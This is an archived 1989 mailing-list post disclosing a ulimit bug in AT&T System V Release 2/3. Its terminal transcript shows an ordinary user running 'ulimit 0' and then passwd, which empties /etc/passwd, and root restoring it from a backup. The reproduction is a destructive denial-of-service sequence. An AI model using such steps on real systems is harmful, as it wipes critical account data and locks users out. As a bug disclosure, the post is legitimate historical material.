ulimit
John Plocher
plocher%sally at Sun.COM
Sat Apr 22 06:44:34 AEST 1989
In all this talk about ULIMIT don't forget that there is at least one known
bug in the AT&T SVr[23] implementation:
Kids, don't do this at home.
login: guest
password: xxxxx
% su
password: xxxxxxx
# cp /etc/passwd /etc/passwd.old
# exit
% ulimit 0
% passwd
old password: xxxxx
new password: yyyyy
Please retype new password: yyyyy
% ls -l /etc/passwd*
-rw-r--r-- 1 root 0 Apr 3 10:44 /etc/passwd
-rw-r--r-- 1 root 439 Apr 3 10:40 /etc/passwd.old
% su
password: xxxxxxx
# cp /etc/passwd.old /etc/passwd
Note that the password file is now gone - aren't we glad we saved a copy? :-)
The vendors out there may have this fixed in their versions by now...
-John Plocher
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